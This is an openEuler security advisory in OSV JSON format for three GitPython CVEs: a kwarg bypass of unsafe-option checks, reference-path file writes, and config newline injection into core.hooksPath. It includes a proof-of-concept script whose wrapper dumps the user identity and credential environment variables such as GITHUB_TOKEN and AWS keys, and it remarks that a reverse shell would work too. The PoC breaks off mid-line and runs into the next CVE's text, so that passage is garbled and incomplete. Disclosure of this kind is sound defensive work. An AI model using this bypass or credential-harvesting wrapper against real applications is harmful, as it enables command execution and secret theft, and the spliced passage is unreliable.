{"schema_version":"1.7.2","id":"OESA-2026-2308","modified":"2026-05-15T14:00:26Z","published":"2026-05-15T14:00:26Z","upstream":["CVE-2026-42215","CVE-2026-44243","CVE-2026-44244"],"summary":"python-GitPython security update","details":"GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.\r\n\r\nSecurity Fix(es):\n\n### Summary\nGitPython blocks dangerous Git options such as `--upload-pack` and `--receive-pack` by default, but the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary command execution even when `allow_unsafe_options` is left at its default value of `False`.\n\n### Details\nGitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:\n\n- `git/repo/base.py:145-153` marks clone options such as `--upload-pack`, `-u`, `--config`, and `-c` as unsafe.\n- `git/remote.py:535-548` marks fetch/pull/push options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe.\n\nThe vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:\n\n- `Repo.clone_from()` checks `list(kwargs.keys())` in `git/repo/base.py:1387-1390`\n- `Remote.fetch()` checks `list(kwargs.keys())` in `git/remote.py:1070-1071`\n- `Remote.pull()` checks `list(kwargs.keys())` in `git/remote.py:1124-1125`\n- `Remote.push()` checks `list(kwargs.keys())` in `git/remote.py:1197-1198`\n\nThat validation is performed by `Git.check_unsafe_options()` in `git/cmd.py:948-961`. The validator correctly blocks option names such as `upload-pack`, `receive-pack`, and `exec`.\n\nLater, GitPython converts Python kwargs into Git command-line flags in `Git.transform_kwarg()` at `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified:\n\n- `upload_pack=...` becomes `--upload-pack=...`\n- `receive_pack=...` becomes `--receive-pack=...`\n\nBecause the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.\n\nIn practice:\n\n- `remote.fetch(**{"upload-pack": helper})` is blocked with `UnsafeOptionError`\n- `remote.fetch(upload_pack=helper)` is allowed and reaches helper execution\n\nThe same bypass works for:\n\n```python\nRepo.clone_from(origin, out, upload_pack=helper)\nrepo.remote("origin").fetch(upload_pack=helper)\nrepo.remote("origin").pull(upload_pack=helper)\nrepo.remote("origin").push(receive_pack=helper)\n```\n\nThis does not appear to affect every unsafe option. For example, `exec=` is already rejected because the raw kwarg name `exec` matches the blocked option name before normalization.\n\nExisting tests cover the hyphenated form, not the vulnerable underscore form. For example:\n\n- `test/test_clone.py:129-136` checks `{"upload-pack": ...}`\n- `test/test_remote.py:830-833` checks `{"upload-pack": ...}`\n- `test/test_remote.py:968-975` checks `{"receive-pack": ...}`\n\nThose tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.\n\n### PoC\n1. Create and activate a virtual environment in the repository root:\n\n```bash\npython3 -m venv .venv-sec\n.venv-sec/bin/pip install setuptools gitdb\nsource ./.venv-sec/bin/activate\n```\n\n2. make a new python file and put the following in there, then run it:\n\n```python\nimport os\nimport stat\nimport subprocess\nimport tempfile\n\nfrom git import Repo\nfrom git.exc import UnsafeOptionError\n\n# Setup: create isolated repositories so the PoC uses a normal fetch flow.\nbase = tempfile.mkdtemp(prefix="gp-poc-risk-")\norigin = os.path.join(base, "origin.git")\nproducer = os.path.join(base, "producer")\nvictim = os.path.join(base, "victim")\nproof = os.path.join(base, "proof.txt")\nwrapper = os.path.join(base, "wrapper.sh")\n\n# Setup: this wrapper is just to demo things you can do, not required for the exploit to work\n# you could also do something like an SSH reverse shell, really anything\nwith open(wrapper, "w") as f:\n    f.write(f"""#!/bin/sh\n{{\n  echo "code_exec=1"\n  echo "whoami=$(id)"\n  echo "cwd=$(pwd)"\n  echo "uname=$(uname -a)"\n  printf 'argv='; printf '<%s>' "$@"; echo\n  env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=(CVE-2026-42215)\n\nA vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository's .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations.(CVE-2026-44243)\n\n`GitConfigParser.set_value()` passes values to Python's `configparser` without validating for newlines. GitPython's own `_write()` converts embedded newlines into indented continuation lines (e.g. `\\\\n` becomes `\\\\n\\\\t`), but Git still accepts an indented `[core]` stanza as a section header — so the injected `core.hooksPath` becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.\n\nThe vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented `[core]` stanza as a section header, so the injected `core.hooksPath` becomes effective configuration.\n\nThis was found while auditing MLRun's `project.push()` method, which passes `author_name` and `author_email` directly to `config_writer().set_value()` with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in `.git/config`.\n\nImpact: This is persistent repo config poisoning. Any user who can supply `author_name` or `author_email` to an application calling `config_writer().set_value()` can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the `.git/config` of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.(CVE-2026-44244)","affected":[{"package":{"ecosystem":"openEuler:24.03-LTS-SP3","name":"python-GitPython","purl":"pkg:rpm/openEuler/python-GitPython&distro=openEuler-24.03-LTS-SP3"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.49-1.oe2403sp3"}]}],"ecosystem_specific":{"noarch":["python-GitPython-help-3.1.49-1.oe2403sp3.noarch.rpm","python3-GitPython-3.1.49-1.oe2403sp3.noarch.rpm"],"src":["python-GitPython-3.1.49-1.oe2403sp3.src.rpm"]}}],"references":[{"type":"ADVISORY","url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-2308"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42215"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44243"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44244"}],"database_specific":{"severity":"High"}}